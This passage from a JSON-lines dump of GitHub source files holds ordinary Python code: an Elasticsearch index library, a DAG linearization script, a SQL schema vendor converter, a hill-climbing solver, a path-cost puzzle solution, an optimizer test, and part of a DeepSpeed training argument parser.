{\"surname\": \"Bob\", \"lastname\": \"Doe\"}}\n\n Ie: \"personal_info.lastname\" isn't modified, inner documents are not fully replaced, but only present keys are.\n\n Whereas, providing elements in an array replace source key as a whole:\n\n >>> index.index(_id=\"john\", doc={\"personal_info\": {\"surname\": \"John\", \"lastname\": \"Doe\"}})\n >>> index.update(_id=\"john\", doc={\"personal_info\": [{\"surname\": \"Bob\"}]})\n\n will result in replaceing whole \"personal_info\" field:\n\n {\"personal_info\": [{\"surname\": \"Bob\"}]}\n \"\"\"\n source: DocSource = _cast_pre_save_source(doc)\n self._chain_actions(\n [\n {\n \"_id\": _id,\n \"doc\": source,\n \"_index\": self._index.name,\n \"_op_type\": \"update\",\n **kwargs, # type: ignore\n }\n ]\n )\n return self\n\n def delete(self, _id: str, **kwargs: Any) -> \"DocumentBulkWriter\":\n self._chain_actions(\n [\n {\n \"_id\": _id,\n \"_index\": self._index.name,\n \"_op_type\": \"delete\",\n **kwargs, # type: ignore\n }\n ]\n )\n return self\n\n def perform(self, **kwargs: Any) -> Tuple[int, Union[int, List[Any]]]:\n # return success, failed\n # perform stacked operations\n res = helpers.bulk(client=self._client, actions=self._operations, **kwargs)\n self._operations = iter([])\n return res\n\n def rollback(self) -> None:\n # remove all stacked operations\n self._operations = iter([])\n\n def validate(self, document: DocumentSource) -> None:\n self._index._mappings.validate_document(document)\n\n\ndef _deepcopy_mutable_attrs(attrs: Dict[str, Any], attrs_names: List[str]) -> None:\n for attr_name in attrs_names:\n if attrs.get(attr_name) is not None:\n attrs[attr_name] = deepcopy(attrs[attr_name])\n\n\nclass IndexMeta(type):\n\n # global flag to apply changes to descendants of DeclarativeIndex class (and not the abstract class itself)\n _abstract_index_initialized = False\n\n def __new__(cls, name: str, bases: Tuple, attrs: Dict) -> \"IndexMeta\":\n if not cls._abstract_index_initialized:\n # only happens for DeclarativeIndex abstract class\n cls._abstract_index_initialized = True\n return super(IndexMeta, cls).__new__(cls, name, bases, attrs)\n\n if not attrs.get(\"name\"):\n raise ValueError(\"<%s> declarative index must have a name\" % name)\n # Prevent any unintended mutation\n _deepcopy_mutable_attrs(attrs, attrs_names=[\"mappings\", \"settings\", \"aliases\"])\n\n saved_mappings: Mappings\n document: Optional[DocumentMeta] = None\n if attrs.get(\"document\"):\n if not type(attrs[\"document\"]) == DocumentMeta or not issubclass(\n attrs[\"document\"], DocumentSource\n ):\n raise TypeError(\n \"<%s> declarative index 'document' attribute must be a %s subclass, got <%s> of type %s\"\n % (name, DocumentSource, attrs[\"document\"], type(attrs[\"document\"]))\n )\n document = attrs[\"document\"]\n if attrs.get(\"mappings\"):\n # if mappings is provided, use it in priority\n saved_mappings = Mappings(**attrs[\"mappings\"])\n elif document is not None:\n # else, use document as mappings\n saved_mappings = document._mappings_ # type: ignore\n else:\n saved_mappings = Mappings()\n\n if attrs.get(\"mappings\") and document:\n # if both \"mappings\" and \"document\" are provided, ensure there is no conflict\n if not is_subset(\n document._mappings_.to_dict(), saved_mappings.to_dict() # type: ignore\n ):\n raise TypeError(\n \"Incompatible index declaration, mappings and document do not match.\"\n )\n attrs[\"_mappings\"] = saved_mappings\n return super(IndexMeta, cls).__new__(cls, name, bases, attrs)\n\n\nclass IndexTemplateMeta(type):\n\n # global flag to apply changes to descendants of DeclarativeIndex class (and not the abstract class itself)\n _abstract_index_initialized = False\n\n def __new__(cls, name: str, bases: Tuple, attrs: Dict) -> \"IndexTemplateMeta\":\n if not cls._abstract_index_initialized:\n # only happens for DeclarativeIndexTemplate abstract class\n cls._abstract_index_initialized = True\n return super(IndexTemplateMeta, cls).__new__(cls, name, bases, attrs)\n\n if not attrs.get(\"name\"):\n raise ValueError(\"<%s> declarative index template must have a name\" % name)\n if not attrs.get(\"index_patterns\"):\n raise ValueError(\n \"<%s> declarative index template must have index_patterns\" % name\n )\n # Prevent any unintended mutation\n _deepcopy_mutable_attrs(attrs, attrs_names=[\"template\"])\n attrs[\"_template_index\"] = type(\n \"%sTemplateIndex\" % name,\n (DeclarativeIndex,),\n {\"name\": \"_abstract\", **(attrs.get(\"template\") or {})},\n )()\n return super(IndexTemplateMeta, cls).__new__(cls, name, bases, attrs)\n\n\nclass DeclarativeIndexTemplate(metaclass=IndexTemplateMeta):\n\n name: str\n index_patterns: List[str]\n composed_of: Optional[List[str]] = None\n template: Optional[Template] = None\n priority: Optional[int] = None\n _meta: Optional[Dict[str, Any]] = None\n version: Optional[int] = None\n\n # generated by metaclass\n _template_index: \"DeclarativeIndex\"\n\n def __init__(self, client: Optional[Elasticsearch] = None) -> None:\n self._client: Optional[Elasticsearch] = client\n\n def _get_connection(self) -> Elasticsearch:\n if self._client is None:\n raise ValueError(\n \"An Elasticsearch client must be provided in order to execute queries.\"\n )\n return self._client\n\n def to_dict(self) -> Dict[str, Any]:\n d: Dict[str, Any] = dict()\n d[\"index_patterns\"] = self.index_patterns\n if self.composed_of:\n d[\"composed_of\"] = self.composed_of\n if self.template:\n d[\"template\"] = self._template_index.to_dict()\n if self.priority:\n d[\"priority\"] = self.priority\n if self._meta:\n d[\"_meta\"] = self._meta\n if self.version:\n d[\"version\"] = self.version\n return d\n\n def save(self) -> Any:\n return self._get_connection().indices.put_index_template(\n name=self.name, body=self.to_dict()\n )\n\n def exists(self, **kwargs: Any) -> bool:\n \"\"\"\n Returns ``True`` if the index template already exists in elasticsearch.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.exists_index_template`` unchanged.\n \"\"\"\n return self._get_connection().indices.exists_index_template(\n name=self.name, **kwargs\n )\n\n\nclass DeclarativeIndex(metaclass=IndexMeta):\n\n name: str\n mappings: Optional[MappingsDictOrNode] = None\n settings: Optional[SettingsDict] = None\n aliases: Optional[IndexAliases] = None\n document: Optional[DocumentMeta] = None\n\n # initialized by metaclass, from mappings declaration\n _mappings: Mappings\n\n def __init__(self, client: Optional[Elasticsearch] = None) -> None:\n self._client: Optional[Elasticsearch] = client\n self.docs: DocumentBulkWriter = DocumentBulkWriter(_index=self)\n\n def to_dict(self) -> Dict[str, Any]:\n out: Dict[str, Any] = {}\n if self.settings:\n out[\"settings\"] = self.settings\n if self.aliases:\n out[\"aliases\"] = self.aliases\n if self.mappings is not None:\n mappings = self._mappings.to_dict() or {}\n if mappings:\n out[\"mappings\"] = mappings\n return out\n\n def _get_connection(self) -> Elasticsearch:\n if self._client is None:\n raise ValueError(\n \"An Elasticsearch client must be provided in order to execute queries.\"\n )\n return self._client\n\n def search(\n self,\n nested_autocorrect: bool = False,\n repr_auto_execute: bool = False,\n deserialize_source: bool = False,\n ) -> Search:\n if deserialize_source is True and self.document is None:\n raise ValueError(\n \"'%s' DeclarativeIndex doesn't have any declared document to deserialize hits' sources\"\n % self.name\n )\n return Search(\n using=self._client,\n mappings=self._mappings,\n index=self.name,\n nested_autocorrect=nested_autocorrect,\n repr_auto_execute=repr_auto_execute,\n document_class=self.document if deserialize_source else None,\n )\n\n def create(self, **kwargs: Any) -> Any:\n \"\"\"\n Creates the index in elasticsearch.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.create`` unchanged.\n \"\"\"\n return self._get_connection().indices.create(\n index=self.name, body=self.to_dict(), **kwargs\n )\n\n def is_closed(self) -> bool:\n state = self._get_connection().cluster.state(index=self.name, metric=\"metadata\")\n return state[\"metadata\"][\"indices\"][self.name][\"state\"] == \"close\"\n\n def exists(self, **kwargs: Any) -> bool:\n \"\"\"\n Returns ``True`` if the index already exists in elasticsearch.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.exists`` unchanged.\n \"\"\"\n return self._get_connection().indices.exists(index=self.name, **kwargs)\n\n def get_settings(self, **kwargs: Any) -> Dict:\n \"\"\"\n Retrieve settings for the index.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.get_settings`` unchanged.\n \"\"\"\n return self._get_connection().indices.get_settings(index=self.name, **kwargs)\n\n def _put_settings(self, **kwargs: Any) -> Any:\n \"\"\"\n As a private method in DeclarativeIndex, because only supposed to be used while persisting declared index\n settings.\n\n Change specific index level settings in real time.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.put_settings`` unchanged.\n \"\"\"\n return self._get_connection().indices.put_settings(index=self.name, **kwargs)\n\n def _put_mappings(self, **kwargs: Any) -> Any:\n \"\"\"\n As a private method in DeclarativeIndex, because only supposed to be used while persisting declared index\n mappings.\n\n Register specific mapping definition for a specific type.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.put_mapping`` unchanged.\n \"\"\"\n return self._get_connection().indices.put_mapping(index=self.name, **kwargs)\n\n def save(self) -> None:\n \"\"\"\n Sync the index definition with elasticsearch, creating the index if it\n doesn't exist and updating its settings and mappings if it does.\n\n Note some settings and mapping changes cannot be done on an open\n index (or at all on an existing index) and for those this method will\n fail with the underlying exception.\n \"\"\"\n if not self.exists():\n return self.create()\n\n body = self.to_dict()\n settings = body.pop(\"settings\", {})\n current_settings = self.get_settings()[self.name][\"settings\"][\"index\"]\n\n # try and update the settings\n if settings:\n settings = settings.copy()\n for k, v in list(settings.items()):\n if k in current_settings and current_settings[k] == str(v):\n del settings[k]\n if settings:\n self._put_settings(body=settings)\n\n # update the mappings, any conflict in the mappings will result in an\n # exception\n mappings = body.pop(\"mappings\", {})\n if mappings:\n self._put_mappings(body=mappings)\n\n def analyze(self, **kwargs: Any) -> Any:\n \"\"\"\n Perform the analysis process on a text and return the tokens breakdown\n of the text.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.analyze`` unchanged.\n \"\"\"\n return self._get_connection().indices.analyze(index=self.name, **kwargs)\n\n def refresh(self, **kwargs: Any) -> Any:\n \"\"\"\n Performs a refresh operation on the index.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.refresh`` unchanged.\n \"\"\"\n return self._get_connection().indices.refresh(index=self.name, **kwargs)\n\n def flush(self, **kwargs: Any) -> Any:\n \"\"\"\n Performs a flush operation on the index.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.flush`` unchanged.\n \"\"\"\n return self._get_connection().indices.flush(index=self.name, **kwargs)\n\n def get(self, **kwargs: Any) -> Any:\n \"\"\"\n The get index API allows to retrieve information about the index.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.get`` unchanged.\n \"\"\"\n return self._get_connection().indices.get(index=self.name, **kwargs)\n\n def open(self, **kwargs: Any) -> Any:\n \"\"\"\n Opens the index in elasticsearch.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.open`` unchanged.\n \"\"\"\n return self._get_connection().indices.open(index=self.name, **kwargs)\n\n def close(self, **kwargs: Any) -> Any:\n \"\"\"\n Closes the index in elasticsearch.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.close`` unchanged.\n \"\"\"\n return self._get_connection().indices.close(index=self.name, **kwargs)\n\n def delete(self, **kwargs: Any) -> Any:\n \"\"\"\n Deletes the index in elasticsearch.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.delete`` unchanged.\n \"\"\"\n return self._get_connection().indices.delete(index=self.name, **kwargs)\n\n def stats(self, **kwargs: Any) -> Any:\n \"\"\"\n Retrieve statistics on different operations happening on the index.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.stats`` unchanged.\n \"\"\"\n return self._get_connection().indices.stats(index=self.name, **kwargs)\n\n def segments(self, **kwargs: Any) -> Any:\n \"\"\"\n Provide low level segments information that a Lucene index (shard\n level) is built with.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.segments`` unchanged.\n \"\"\"\n return self._get_connection().indices.segments(index=self.name, **kwargs)\n\n def validate_query(self, **kwargs: Any) -> Any:\n \"\"\"\n Validate a potentially expensive query without executing it.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.validate_query`` unchanged.\n \"\"\"\n return self._get_connection().indices.validate_query(index=self.name, **kwargs)\n\n def clear_cache(self, **kwargs: Any) -> Any:\n \"\"\"\n Clear all caches or specific cached associated with the index.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.clear_cache`` unchanged.\n \"\"\"\n return self._get_connection().indices.clear_cache(index=self.name, **kwargs)\n\n def recovery(self, **kwargs: Any) -> Any:\n \"\"\"\n The indices recovery API provides insight into on-going shard\n recoveries for the index.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.recovery`` unchanged.\n \"\"\"\n return self._get_connection().indices.recovery(index=self.name, **kwargs)\n\n def flush_synced(self, **kwargs: Any) -> Any:\n \"\"\"\n Perform a normal flush, then add a generated unique marker (sync_id) to\n all shards.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.flush_synced`` unchanged.\n \"\"\"\n return self._get_connection().indices.flush_synced(index=self.name, **kwargs)\n\n def shard_stores(self, **kwargs: Any) -> Any:\n \"\"\"\n Provides store information for shard copies of the index. Store\n information reports on which nodes shard copies exist, the shard copy\n version, indicating how recent they are, and any exceptions encountered\n while opening the shard index or from earlier engine failure.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.shard_stores`` unchanged.\n \"\"\"\n return self._get_connection().indices.shard_stores(index=self.name, **kwargs)\n\n def forcemerge(self, **kwargs: Any) -> Any:\n \"\"\"\n The force merge API allows to force merging of the index through an\n API. The merge relates to the number of segments a Lucene index holds\n within each shard. The force merge operation allows to reduce the\n number of segments by merging them.\n\n This call will block until the merge is complete. If the http\n connection is lost, the request will continue in the background, and\n any new requests will block until the previous force merge is complete.\n\n Any additional keyword arguments will be passed to\n ``Elasticsearch.indices.forcemerge`` unchanged.\n \"\"\"\n return self._get_connection().indices.forcemerge(index=self.name, **kwargs)\n","repo_name":"alkemics/pandagg","sub_path":"pandagg/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":21201,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"} +{"seq_id":"27813646704","text":"#Antonio Luis Sombra de Medeiros\n#Linearização de um DAG\n\n#Entrada: proximo_no (lista de vizinhos)\n#SAÍDA : Uma linearização aleatória do grafo\n\nfrom collections import defaultdict as dd\nfrom random import choice, shuffle\n\n#criar nos_com_arestasIn -->ddset\n#criar qtd_arestas_In --> ddint\n#criar proximo_no --> ddvet\n\nproximo_no = {5: [0,2], 4:[0,1], 0:[], 1:[], 2:[3], 3:[1]}\n\nqtd_arestas_In = dd(int)\nnos_com_arestasIn = dd(set)\n\nfor no in proximo_no:\n for jt in proximo_no[no]:\n qtd_arestas_In[jt] += 1\n\nfor no in proximo_no:\n if no not in qtd_arestas_In:\n qtd_arestas_In[no] = 0\n \nfor no, aresta in qtd_arestas_In.items():\n nos_com_arestasIn[aresta].add(no)\n \nlinearizacao = []\nwhile nos_com_arestasIn[0]:\n it = choice(list(nos_com_arestasIn[0])) #aleatoriza pra nao dar sempre a mesma linearização\n nos_com_arestasIn[0].remove(it)\n linearizacao.append(it)\n for no in proximo_no[it]:\n p = qtd_arestas_In[no]\n qtd_arestas_In[no] -=1\n nos_com_arestasIn[p].remove(no)\n nos_com_arestasIn[p-1].add(no)\n \nprint('Linearizacao deste DAG: ', linearizacao)\n\n","repo_name":"arademaker/ED-2017-2","sub_path":"src/dag-sombra.py","file_name":"dag-sombra.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"34721340746","text":"#!/usr/bin/python3\n\n\"\"\"Script to transform the schema into vendor specific formats.\"\"\"\n\nfrom typing import Mapping, Sequence\nimport os\nimport sys\n\n\nVENDOR_REPLACEMENTS: Mapping[str, Mapping[str, str]] = {\n 'mysql': {\n '{AUTOKEY}': 'AUTO_INCREMENT PRIMARY KEY',\n },\n 'postgresql': {\n '{AUTOKEY}': 'GENERATED ALWAYS AS IDENTITY',\n },\n}\n\n\ndef convert_template(contents: str, vendor: str) -> str:\n \"\"\"Convert the schema template contents into a vendor specific one.\"\"\"\n vendor = vendor.lower()\n if vendor not in VENDOR_REPLACEMENTS:\n raise Exception(f'Unsupported vendor {vendor}')\n for key, rep in VENDOR_REPLACEMENTS[vendor].items():\n contents = contents.replace(key, rep)\n return contents\n\n\ndef main(args: Sequence[str]) -> int:\n \"\"\"CLI Entrypoint.\"\"\"\n if len(args) < 4:\n print(f\"Usage: {args[0]} (vendor name) (output directory) (source ...)\")\n print(\"Where:\")\n print(f\" vendor name one of {VENDOR_REPLACEMENTS.keys()}\")\n print(\" output directory location to put the translated files\")\n print(\" source list of source files to convert.\")\n return 1\n \n vendor_name = args[1]\n if vendor_name.lower() not in VENDOR_REPLACEMENTS:\n print(f\"Vendor name must be one of {VENDOR_REPLACEMENTS.keys()}\")\n return 2\n \n output_dir = args[2]\n if not os.path.isdir(output_dir):\n print(f\"Output directory does not exist: {output_dir}\")\n print(\"Processing aborted.\")\n return 3\n \n ret = 0\n for src_file in args[3:]:\n if not os.path.isfile(src_file):\n print(f\"NO such file: {src_file}\")\n ret += 1\n continue\n name = os.path.split(src_file)[1]\n tgt_file = os.path.join(output_dir, name)\n with open(src_file, 'r', encoding='utf-8') as fis:\n with open(tgt_file, 'w', encoding='utf-8') as fos:\n fos.write(convert_template(fis.read(), vendor_name))\n return ret\n\n\nif __name__ == '__main__':\n sys.exit(main(sys.argv))\n","repo_name":"groboclown/wind-flower-game","sub_path":"db-schema/install/sql_to_vendor.py","file_name":"sql_to_vendor.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2350935161","text":"import random\nfrom enum import Enum, auto\n\nfrom node import Node\nfrom problem.problem import BestCaseProblem\nfrom solver.solver import Solver\n\n\nclass HillClimbing(Solver):\n def __init__(self, problem: BestCaseProblem, mode):\n super().__init__(problem)\n self.mode = mode\n\n def solve(self):\n if self.mode == Mode.RANDOM_RESTART:\n nodes = []\n for _ in range(10):\n nodes.append(self._solve())\n best_node = nodes[0]\n for node in nodes:\n if self.problem.compute_cost(node.value) < self.problem.compute_cost(best_node.value):\n best_node = node\n self.problem.best_state = best_node.value\n else:\n self.problem.best_state = self._solve().value\n\n def _solve(self):\n node = Node(self.problem.init_state)\n best_state = None\n\n while True:\n actions = list(self.problem.actions(node.value))\n if self.mode == Mode.SIMPLE or self.mode == Mode.RANDOM_RESTART:\n if best_state != self.find_best_state(node.value, actions):\n best_state = self.find_best_state(node.value, actions)\n node = Node(best_state)\n self.num_of_created_nodes += 1\n self.num_of_expanded_nodes += 1\n else:\n break\n elif self.mode == Mode.STOCHASTIC:\n new_nodes = list(map(lambda x: Node(x), self.find_better_states(node.value, actions)))\n self.num_of_created_nodes += len(new_nodes)\n if len(new_nodes) > 0:\n node = random.choice(new_nodes)\n self.num_of_expanded_nodes += 1\n else:\n break\n elif self.mode == Mode.FIRST_CHOICE:\n if self.find_better_state(node.value, actions):\n node = Node(self.find_better_state(node.value, actions))\n self.num_of_created_nodes += 1\n self.num_of_expanded_nodes += 1\n else:\n break\n\n return node\n\n def solution(self):\n return self.problem.solution(self.problem.best_state)\n\n def find_best_state(self, state, actions):\n best_state = state\n for action in actions:\n new_state = self.problem.result(action, state)\n if self.problem.compute_cost(new_state) < self.problem.compute_cost(best_state):\n best_state = new_state\n return best_state\n\n def find_better_states(self, state, actions):\n for action in actions:\n new_state = self.problem.result(action, state)\n if self.problem.compute_cost(new_state) < self.problem.compute_cost(state):\n yield new_state\n\n def find_better_state(self, state, actions):\n for action in actions:\n new_state = self.problem.result(action, state)\n if self.problem.compute_cost(new_state) < self.problem.compute_cost(state):\n return new_state\n\n\nclass Mode(Enum):\n SIMPLE = auto()\n STOCHASTIC = auto()\n FIRST_CHOICE = auto()\n RANDOM_RESTART = auto()\n","repo_name":"siavashkavousi/AI-course","sub_path":"project/solver/hill_climbing.py","file_name":"hill_climbing.py","file_ext":"py","file_size_in_byte":3195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3208784292","text":"from typing import List\n\n\nclass Solution:\n def minimumCost(self, start: List[int], target: List[int], specialRoads: List[List[int]]) -> int:\n specialRoads = [[x1, y1, x2, y2, cost] for (x1, y1, x2, y2, cost) in specialRoads\n if abs(x1 - x2) + abs(y1 - y2) > cost]\n specialRoads.sort(key=lambda d: (d[0], d[1]))\n cur_x, cur_y = start[0], start[1]\n all_cost = 0\n target_x, target_y = target\n for road in specialRoads:\n [x1, y1, x2, y2, cost] = road\n raw_cost = abs(x1 - target_x) + abs(y1 - target_y)\n new_cost = abs(x2 - target_x) + abs(y2 - target_y)\n if raw_cost - new_cost < cost:\n continue\n cost1 = abs(x2 - cur_x) + abs(y2 - cur_y)\n cost2 = abs(x1 - cur_x) + abs(y1 - cur_y) + cost\n mi_cost = min(cost1, cost2)\n if abs(target_x - cur_x) + abs(target_y - cur_y) < mi_cost + abs(x2 - target_x) + abs(y2 - target_y):\n continue\n all_cost += mi_cost\n cur_x, cur_y = x2, y2\n all_cost += abs(cur_x - target_x) + abs(cur_y - target_y)\n return all_cost\n\n\nif __name__ == '__main__':\n solution = Solution()\n # start = [1, 1]\n # target = [4, 5]\n # specialRoads = [[1, 2, 3, 3, 2], [3, 4, 4, 5, 1]]\n # start = [3, 2]\n # target = [5, 7]\n # specialRoads = [[3, 2, 3, 4, 4], [3, 3, 5, 5, 5], [3, 4, 5, 6, 6]]\n # start = [1, 1]\n # target = [5, 10]\n # specialRoads = [[3, 4, 5, 2, 5], [4, 5, 3, 8, 3], [3, 2, 5, 3, 1]]\n # start = [1, 1]\n # target = [9, 3]\n # specialRoads = [[6, 3, 9, 1, 1], [7, 1, 6, 3, 1], [7, 3, 4, 2, 2], [3, 3, 1, 1, 2]]\n start = [1, 1]\n target = [10, 9]\n specialRoads = [[5, 2, 3, 6, 3], [5, 6, 9, 5, 3], [5, 9, 1, 2, 5], [8, 6, 9, 8, 1]]\n res = solution.minimumCost(start, target, specialRoads)\n print(res)","repo_name":"foreverxujiahuan/algorithm","sub_path":"竞赛/A343/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"34575435084","text":"import datetime\nimport logging\n\nimport logging\nimport time\n\nimport numpy as np\nfrom envs import rewards\nfrom envs.inventory_generators import DirichletInventoryGenerator\nfrom envs.order_generators import NormalOrderGenerator\nfrom network.ExtendedNetwork import ExtendedNetwork\nfrom network.physical_network import PhysicalNetwork\n\nfrom experiment_utils import network_flow_bb_optimizer\nfrom experiment_utils.Order import Order\n\n\ndef test_optimize_bb_one_order():\n # Given\n logging.root.setLevel(logging.DEBUG)\n physical_network = PhysicalNetwork(\n num_dcs=3,\n num_customers=1,\n dcs_per_customer=2,\n demand_mean=100,\n demand_var=25,\n big_m_factor=10000,\n num_commodities=2,\n planning_horizon=4,\n )\n # (num_dcs,num_commodities)\n # fmt: off\n inventory = np.array(\n [\n [1.0, 0.0],\n [0.0, 0.0],\n [1.0, 1.0],\n ]\n )\n # fmt: on\n\n customer_node = physical_network.customers[0]\n dc_0_node = physical_network.dcs[0]\n open = [\n Order(\n demand=np.array([2.0, 1.0]),\n shipping_point=dc_0_node,\n customer=customer_node,\n delivery_time=3,\n name=\"o1\",\n )\n ]\n fixed = []\n current_t = 1\n (\n extended_nodes,\n extended_arcs_with_flow,\n ) = network_flow_bb_optimizer.optimize_branch_and_bound(\n physical_network, inventory, fixed, open, current_t\n )\n\n next_actions = network_flow_bb_optimizer.bb_solution_to_agent_action(\n open, extended_arcs_with_flow\n )\n print(\"Soulitionr\")\n print(next_actions)\n\n\ndef test_optimize_bb__scalability_test():\n logging.root.setLevel(logging.DEBUG)\n pn = PhysicalNetwork(\n num_dcs=5,\n num_customers=250,\n dcs_per_customer=2,\n demand_mean=100,\n demand_var=25,\n big_m_factor=10000,\n num_commodities=5,\n planning_horizon=5,\n )\n orders_per_day = 5\n order_generator = NormalOrderGenerator(pn, orders_per_day)\n inventory_generator = DirichletInventoryGenerator(pn)\n\n # reward_function = rewards.reward_chooser(\"negative_log_cost_minus_log_big_m_units\")\n # ShippingAssignmentEnvironment(\n # physical_network,\n # order_generator,\n # inventory_generator,\n # reward_function,\n # num_steps=3,\n # )\n current_t = 1\n open = order_generator.generate_orders(current_t)\n fixed = []\n inventory = inventory_generator.generate_new_inventory(pn, open)\n\n start = time.process_time()\n (\n extended_nodes,\n extended_arcs_with_flow,\n ) = network_flow_bb_optimizer.optimize_branch_and_bound(\n pn, inventory, fixed, open, current_t\n )\n\n next_actions = network_flow_bb_optimizer.bb_solution_to_agent_action(\n open, extended_arcs_with_flow\n )\n end = time.process_time()\n elapsed = datetime.timedelta(seconds=end - start)\n size = f\"{pn.num_dcs}W{pn.num_customers}C{orders_per_day}D{pn.planning_horizon}PH\"\n print(f\"Optimization of size {size} took {str(elapsed)}\")\n print(\"Soulitionr\")\n print(\n next_actions\n ) \n","repo_name":"jotaporras/shipping_assignment_rl_gcn","sub_path":"python/src/tests/test_network_flow_bb_optimizer.py","file_name":"test_network_flow_bb_optimizer.py","file_ext":"py","file_size_in_byte":3150,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"8603111232","text":"import argparse\nimport os\nimport torch\nimport deepspeed\n\n\ndef add_model_config_args(parser):\n \"\"\"Model arguments\"\"\"\n\n group = parser.add_argument_group('model', 'model configuration')\n\n group.add_argument('--pretrained-bert', action='store_true',\n help='use a pretrained bert-large-uncased model instead'\n 'of initializing from scratch. See '\n '--tokenizer-model-type to specify which pretrained '\n 'BERT model to use')\n group.add_argument('--attention-dropout', type=float, default=0.1,\n help='dropout probability for attention weights')\n group.add_argument('--num-attention-heads', type=int, default=16,\n help='num of transformer attention heads')\n group.add_argument('--hidden-size', type=int, default=1024,\n help='tansformer hidden size')\n group.add_argument('--intermediate-size', type=int, default=None,\n help='transformer embedding dimension for FFN'\n 'set to 4*`--hidden-size` if it is None')\n group.add_argument('--num-layers', type=int, default=24,\n help='num decoder layers')\n group.add_argument('--layernorm-epsilon', type=float, default=1e-5,\n help='layer norm epsilon')\n group.add_argument('--hidden-dropout', type=float, default=0.1,\n help='dropout probability for hidden state transformer')\n group.add_argument('--max-position-embeddings', type=int, default=512,\n help='maximum number of position embeddings to use')\n group.add_argument('--vocab-size', type=int, default=30522,\n help='vocab size to use for non-character-level '\n 'tokenization. This value will only be used when '\n 'creating a tokenizer')\n group.add_argument('--deep-init', action='store_true',\n help='initialize bert model similar to gpt2 model.'\n 'scales initialization of projection layers by a '\n 'factor of 1/sqrt(2N). Necessary to train bert '\n 'models larger than BERT-Large.')\n group.add_argument('--make-vocab-size-divisible-by', type=int, default=128,\n help='Pad the vocab size to be divisible by this value.'\n 'This is added for computational efficieny reasons.')\n group.add_argument('--cpu-optimizer', action='store_true',\n help='Run optimizer on CPU')\n group.add_argument('--cpu_torch_adam', action='store_true',\n help='Use Torch Adam as optimizer on CPU.')\n\n return parser\n\n\ndef add_fp16_config_args(parser):\n \"\"\"Mixed precision arguments.\"\"\"\n\n group = parser.add_argument_group('fp16', 'fp16 configurations')\n\n group.add_argument('--fp16', action='store_true',\n help='Run model in fp16 mode')\n group.add_argument('--fp32-embedding', action='store_true',\n help='embedding in fp32')\n group.add_argument('--fp32-layernorm', action='store_true',\n help='layer norm in fp32')\n group.add_argument('--fp32-tokentypes', action='store_true',\n help='embedding token types in fp32')\n group.add_argument('--fp32-allreduce', action='store_true',\n help='all-reduce in fp32')\n group.add_argument('--hysteresis', type=int, default=2,\n help='hysteresis for dynamic loss scaling')\n group.add_argument('--loss-scale', type=float, default=None,\n help='Static loss scaling, positive power of 2 '\n 'values can improve fp16 convergence. If None, dynamic'\n 'loss scaling is used.')\n group.add_argument('--loss-scale-window', type=float, default=1000,\n help='Window over which to raise/lower dynamic scale')\n group.add_argument('--min-scale', type=float, default=1,\n help='Minimum loss scale for dynamic loss scale')\n\n return parser\n\n\ndef add_training_args(parser):\n \"\"\"Training arguments.\"\"\"\n\n group = parser.add_argument_group('train', 'training configurations')\n\n group.add_argument('--do_train', action='store_true',\n help=\"Do training\")\n group.add_argument('--do_eval', action='store_true',\n help=\"Do evaluation\")\n group.add_argument('--zero_shot', action=\"store_true\",\n help=\"do zero-shot\")\n group.add_argument('--batch-size', type=int, default=4,\n help='Data Loader batch size')\n group.add_argument('--weight-decay', type=float, default=0.01,\n help='weight decay coefficient for L2 regularization')\n group.add_argument('--checkpoint-activations', action='store_true',\n help='checkpoint activation to allow for training '\n 'with larger models and sequences')\n group.add_argument('--checkpoint-num-layers', type=int, default=1,\n help='chunk size (number of layers) for checkpointing')\n group.add_argument('--deepspeed-activation-checkpointing', action='store_true',\n help='uses activation checkpointing from deepspeed')\n group.add_argument('--clip-grad', type=float, default=1.0,\n help='gradient clipping')\n group.add_argument('--epoch', type=int, default=10,\n help='total number of iterations to train over all training runs')\n group.add_argument('--log-interval', type=int, default=100,\n help='report interval')\n group.add_argument('--exit-interval', type=int, default=None,\n help='Exit the program after this many new iterations.')\n\n group.add_argument('--seed', type=int, default=1234,\n help='random seed')\n # Batch prodecuer arguments\n group.add_argument('--reset-position-ids', action='store_true',\n help='Reset posistion ids after end-of-document token.')\n group.add_argument('--reset-attention-mask', action='store_true',\n help='Reset self attention maske after '\n 'end-of-document token.')\n \n # Learning rate.\n group.add_argument('--lr-decay-iters', type=int, default=None,\n help='number of iterations to decay LR over,'\n ' If None defaults to `--train-iters`*`--epochs`')\n group.add_argument('--lr-decay-style', type=str, default='linear',\n choices=['constant', 'linear', 'cosine', 'exponential'],\n help='learning rate decay function')\n group.add_argument('--lr', type=float, 